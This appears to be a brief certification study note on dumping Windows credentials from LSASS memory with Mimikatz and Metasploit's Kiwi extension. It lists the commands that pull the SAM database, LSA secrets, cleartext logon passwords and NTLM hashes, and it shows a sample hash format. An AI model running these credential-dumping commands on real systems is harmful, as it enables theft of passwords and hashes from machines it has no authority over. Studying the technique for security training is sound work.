Skip to content
Home

Mimikatz & Kiwi: dumping Windows credentials from memory

Extract cleartext passwords, hashes and secrets from LSASS.

bash·1 min read··INE Certification

Mimikatz pulls cleartext passwords, NTLM hashes, and Kerberos tickets straight out of the lsass.exe process’s memory, the same process Windows itself uses to hold credentials for active logon sessions. Metasploit bundles the same functionality as a meterpreter extension called Kiwi, which is usually the more convenient way to run it if you’re already in a session.

Standalone mimikatz.exe

mimikatz.exe
privilege::debug
lsadump::sam
lsadump::secrets
sekurlsa::logonPasswords

Kiwi (meterpreter extension, same capability)

load kiwi
creds_all           # everything it can find
lsa_dump_sam        # local SAM credentials
lsa_dump_secrets    # LSA secrets

Dumped hashes come back in the format Username:RID:LM:NTLM:::, like Administrator:500:aad3b435b51404eeaad3b435b51404ee:0d757ad173d2fc249ce19364fd64c8ec:::.